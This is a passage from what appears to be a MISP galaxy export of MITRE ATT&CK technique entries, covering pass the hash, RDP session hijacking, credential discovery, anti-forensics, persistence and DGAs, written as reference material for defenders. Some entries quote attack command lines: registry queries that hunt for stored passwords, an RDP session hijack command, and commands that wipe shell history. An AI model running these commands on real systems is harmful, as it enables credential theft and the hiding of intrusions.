There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)

<https://attack.mitre.org/techniques/T1507>

## Pass the Hash - T1075

Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.

Windows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting)

## Lateral Tool Transfer - T1570

Adversaries may transfer tools or other files between systems in a compromised environment. Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Adversaries may copy files laterally between internal victim systems to support

lateral movement using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with [SMB/Windows Admin Shares](<https://attack.mitre.org/techniques/T1021/002>) or [Remote Desktop Protocol](<https://attack.mitre.org/techniques/T1021/001>). Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.

The tag is: *misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570"*

Table 3337. Table References

Links
<a href="https://attack.mitre.org/techniques/T1570">https://attack.mitre.org/techniques/T1570</a>

## Suppress Application Icon - T1508

A malicious application could suppress its icon from being displayed to the user in the application launcher to hide the fact that it is installed, and to make it more difficult for the user to uninstall the application. Hiding the application's icon programmatically does not require any special permissions.

This behavior has been seen in the BankBot/Spy Banker family of malware.(Citation: android-trojan-steals-paypal-2fa)(Citation: sunny-stolen-credentials)(Citation: bankbot-spybanker)

## Cloud Infrastructure Discovery - T1580

An adversary may attempt to discover resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.

Cloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a `DescribeInstances` API within the Amazon EC2 API that can return information about one or more instances within an account, as well as the `ListBuckets` API that returns a list of all buckets owned by the authenticated sender of the request.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API) Similarly, GCP's Cloud SDK CLI provides the `gcloud compute`

`instances list` command to list all Google Compute Engine instances in a project(Citation: Google Compute Instances), and Azure's CLI command `az vm list` lists details of virtual machines.(Citation: Microsoft AZ CLI)

An adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020) Unlike in [Cloud Service Discovery](<https://attack.mitre.org/techniques/T1526>), this technique focuses on the discovery of components of the provided services rather than the services themselves.

## Remote Desktop Protocol - T1076

Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access [Remote Services](<https://attack.mitre.org/techniques/T1021>) similar to RDS.

Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use

Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](<https://attack.mitre.org/techniques/T1015>) technique for Persistence. (Citation: Alperovitch Malware)

Adversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, `c:\windows\system32\tscn.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](<https://attack.mitre.org/techniques/T1018>) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)

## NTFS File Attributes - T1096

Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)

Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-

virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)

## Permission Groups Discovery - T1069

Adversaries may attempt to find group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.

The tag is: *misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069"*

## Windows Admin Shares - T1077

Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `C$`, `ADMIN$`, and `IPC$`.

Adversaries may use this technique in conjunction with administrator-level [Valid

Accounts](<https://attack.mitre.org/techniques/T1078>) to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task](<https://attack.mitre.org/techniques/T1053>), [Service Execution](<https://attack.mitre.org/techniques/T1035>), and [Windows Management Instrumentation](<https://attack.mitre.org/techniques/T1047>). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](<https://attack.mitre.org/techniques/T1075>) and certain configuration and patch levels. (Citation: Microsoft Admin Shares)

The [Net](<https://attack.mitre.org/software/S0039>) utility can be used to connect to Windows admin shares on remote systems using `net use` commands with valid credentials. (Citation: Technet Net Use)

## Pass the Ticket - T1097

Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.

In this technique, valid Kerberos tickets for [Valid Accounts](<https://attack.mitre.org/techniques/T1078>) are captured by [Credential Dumping](<https://attack.mitre.org/techniques/T1003>). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A

service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket)

Silver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks)

Golden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory. (Citation: Campbell 2014)

## Space after Filename - T1151

Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to "evil.txt " (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).

Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.

The tag is: *misp-galaxy:mitre-attack-pattern="Space after Filename - T1151"*

Space after Filename - T1151 has relationships with:

## Capture SMS Messages - T1412

A malicious application could capture sensitive data sent via SMS, including authentication credentials. SMS is frequently used to transmit codes used for multi-factor authentication.

On Android, a malicious application must request and obtain permission (either at app install time or run time) in order to receive SMS messages. Alternatively, a malicious application could attempt to perform an operating system privilege escalation attack to bypass the permission requirement.

On iOS, applications cannot access SMS messages in normal operation, so an adversary would need to attempt to perform an operating system privilege escalation attack to potentially be able to access SMS messages.

The tag is: *misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412"*

*Table 3349. Table References*

Links

<https://attack.mitre.org/techniques/T1412>

## Credentials in Registry - T1214

The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.

Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)

- Local Machine Hive: `reg query HKLM /f password /t REG_SZ /s`
- Current User Hive: `reg query HKCU /f password /t REG_SZ /s`

## System Time Discovery - T1124

An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)

System time information may be gathered in a number of ways, such as with [Net](<https://attack.mitre.org/software/S0039>) on Windows by performing `net time \\hostname` to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using `w32tm /tz`. (Citation: Technet Windows Time Service) The information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job](<https://attack.mitre.org/techniques/T1053>) (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting.

The tag is: *misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124"*

<a href="https://www.rsaconference.com/writable/presentations/file_upload/ht-209_rivner_schwartz.pdf">https://www.rsaconference.com/writable/presentations/file_upload/ht-209_rivner_schwartz.pdf</a>

## Determine strategic target - T1241

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](<http://attack.mitre.org/matrices/enterprise/pre/>) matrix for its replacement. The prior content of this page has been preserved [here](<https://attack.mitre.org/versions/v7/techniques/T1241>).

An adversary undergoes an iterative target selection process that may begin either broadly and narrow down into specifics (strategic to tactical) or narrowly and expand outward (tactical to strategic). As part of this process, an adversary may determine a high level target they wish to attack. One example of this may be a particular country, government, or commercial sector. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Determine strategic target - T1241"*

<a href="https://attack.mitre.org/techniques/T1241">https://attack.mitre.org/techniques/T1241</a>

## Standard Cryptographic Protocol - T1521

Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.

The tag is: *misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1521"*

*Table 3353. Table References*

Links
<a href="https://attack.mitre.org/techniques/T1521">https://attack.mitre.org/techniques/T1521</a>

## Browser Bookmark Discovery - T1217

Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.

Browser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials In Files](<https://attack.mitre.org/techniques/T1552/001>) associated with logins cached by a browser.

Specific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases.

The tag is: *misp-galaxy:mitre-attack-pattern="Browser Bookmark Discovery - T1217"*

*Table 3354. Table References*

Links
<a href="https://attack.mitre.org/techniques/T1217">https://attack.mitre.org/techniques/T1217</a>

## Netsh Helper DLL - T1128

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at `HKLM\SOFTWARE\Microsoft\Netsh`.

Adversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence)

Proof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon)

The tag is: *misp-galaxy:mitre-attack-pattern="Netsh Helper DLL - T1128"*

Netsh Helper DLL - T1128 has relationships with:

- revoked-by: *misp-galaxy:mitre-attack-pattern="Netsh Helper DLL - T1546.007"* with estimative-language:likelihood-probability="almost-certain"

<a href="https://github.com/outflankbv/NetshHelperBeacon">https://github.com/outflankbv/NetshHelperBeacon</a>

## Remote Access Software - T1219

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

Remote access tools may be established and used post-compromise as alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system.

Admin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns. (Citation: CrowdStrike 2015 Global Threat Report) (Citation: CrySyS Blog TeamSpy)

## External Remote Services - T1133

Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](<https://attack.mitre.org/techniques/T1021/006>) can also be used externally.

Access to [Valid Accounts](<https://attack.mitre.org/techniques/T1078>) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.

## Access Token Manipulation - T1134

Adversaries may modify access tokens to operate under a different user or system security context

to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.

An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](<https://attack.mitre.org/techniques/T1134/001>)) or used to spawn a new process (i.e. [Create Process with Token](<https://attack.mitre.org/techniques/T1134/002>)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)

Any standard user can use the `runas` command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.

## Network Share Discovery - T1135

Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.

File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](<https://attack.mitre.org/software/S0039>) can be used to query a remote system for available shared drives using the `net view \\remotesystem` command. It can also be used to query shared drives on the local system using `net share`.

## Office Application Startup - T1137

Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.

A variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules)

## Dynamic Data Exchange - T1173

Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.

Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)

Adversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.

## Capture Clipboard Data - T1414

Adversaries may abuse Clipboard Manager APIs to obtain sensitive information copied to the global clipboard. For example, passwords being copy-and-pasted from a password manager app could be captured by another application installed on the device.(Citation: Fahl-Clipboard)

On Android, `ClipboardManager.OnPrimaryClipChangedListener` can be used by applications to register as a listener and monitor the clipboard for changes.(Citation: Github Capture Clipboard 2019)

Android 10 mitigates this technique by preventing applications from accessing clipboard data unless the application is on the foreground or is set as the device's default input method editor (IME).(Citation: Android 10 Privacy Changes)

## SIM Card Swap - T1451

An adversary could convince the mobile network operator (e.g. through social networking, forged identification, or insider attacks performed by trusted employees) to issue a new SIM card and associate it with an existing phone number and account (Citation: NYGov-Simswap) (Citation: Motherboard-Simswap2). The adversary could then obtain SMS messages or hijack phone calls intended for someone else (Citation: Betanews-Simswap).

One use case is intercepting authentication messages or phone calls to obtain illicit access to online banking or other online accounts, as many online services allow account password resets by sending an authentication code over SMS to a phone number associated with the account (Citation: Guardian-Simswap) (Citation: Motherboard-Simswap1)(Citation: Krebs-SimSwap)(Citation: TechCrunch-SimSwap).

## Clear Command History - T1146

macOS and Linux both keep track of the commands users type in their terminal so that users can easily remember what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable `HISTFILE`. When a user logs off a system, this information is flushed to a file in the user's home directory called `~/.bash_history`. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as `unset HISTFILE`, `export HISTFILESIZE=0`, `history -c`, `rm ~/.bash_history`.

## Password Filter DLL - T1174

Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for

local accounts and/or domain controllers for domain accounts.

Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.

Adversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made. (Citation: Carnal Ownage Password Filters Sept 2013)

## Spearphishing via Service - T1194

Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds

of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.

A common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.

## Supply Chain Compromise - T1195

Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.

Supply chain compromise can take place at any stage of the supply chain including:

- Manipulation of development tools
- Manipulation of a development environment
- Manipulation of source code repositories (public or private)
- Manipulation of source code in open-source dependencies
- Manipulation of software update/distribution mechanisms
- Compromised/infected system images (multiple cases of removable media infected at the factory) (Citation: IBM Storwize) (Citation: Schneider Electric USB Malware)
- Replacement of legitimate software with modified versions
- Sales of modified/counterfeit products to legitimate distributors
- Shipment interdiction

While supply chain compromise can impact any component of hardware or software, attackers looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. (Citation: Avast CCleaner3 2018) (Citation: Microsoft

Dofail 2018) (Citation: Command Five SK 2011) Targeting may be specific to a desired victim set (Citation: Symantec Elderwood Sept 2012) or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. (Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency. (Citation: Trendmicro NPM Compromise)

## Setuid and Setgid - T1166

When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively (Citation: setuid man page). Normally an application is run in the current user's context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn't need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an "s" instead of an "x" when viewing a file's attributes via `ls -l`. The `chmod` program can set these bits with via bitmasking, `chmod 4777 [file]` or via shorthand naming, `chmod u+s [file]`.

An adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user's context. Additionally, adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future (Citation: OSX Keydnep malware).

## Local Job Scheduling - T1168

On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task](<https://attack.mitre.org/techniques/T1053>) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).

### **cron**

System-wide cron jobs are installed by modifying `/etc/crontab` file, `/etc/cron.d/` directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on macOS and Linux systems.

Those methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.

### **at**

The at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.

# launchd

Each launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](<https://attack.mitre.org/techniques/T1160>) or [Launch Agent](<https://attack.mitre.org/techniques/T1159>), except there is an additional key called `StartCalendarInterval` with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.

## Control Panel Items - T1196

Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPLApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)

For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)

Adversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via [Spearphishing Attachment](<https://attack.mitre.org/techniques/T1193>) campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage

malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.

## Compiled HTML File - T1223

Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help

executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)

Adversaries may abuse this technology to conceal malicious code. A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](<https://attack.mitre.org/techniques/T1204>). CHM execution may also bypass application whitelisting on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)

## Stored Data Manipulation - T1492

Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.

The tag is: *misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1492"*

## Implant Container Image - T1525

Adversaries may implant cloud container images with malicious code to establish persistence. Amazon Web Service (AWS) Amazon Machine Images (AMI), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)

A tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an attacker has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](<https://attack.mitre.org/techniques/T1505/003>).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019) Adversaries may also implant Docker images that may be inadvertently used in cloud deployments, which has been reported in some instances of cryptomining botnets.(Citation: ATT Cybersecurity Cryptocurrency Attacks on Cloud)

## Cloud Service Discovery - T1526

An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Azure AD, etc.

Adversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Azure AD Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API)

Stormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu)

## Application Access Token - T1527

Adversaries may use application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.

Application access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)

For example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a "refresh" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staalraad Phishing with OAuth 2017)

Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim's primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.

<a href="https://attack.mitre.org/techniques/T1436">https://attack.mitre.org/techniques/T1436</a>

## Domain Generation Algorithms - T1483

Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)

DGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyula.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)

Adversaries may use DGAs for the purpose of [Fallback Channels](<https://attack.mitre.org/techniques/T1008>). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)

## Transmitted Data Manipulation - T1493

Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

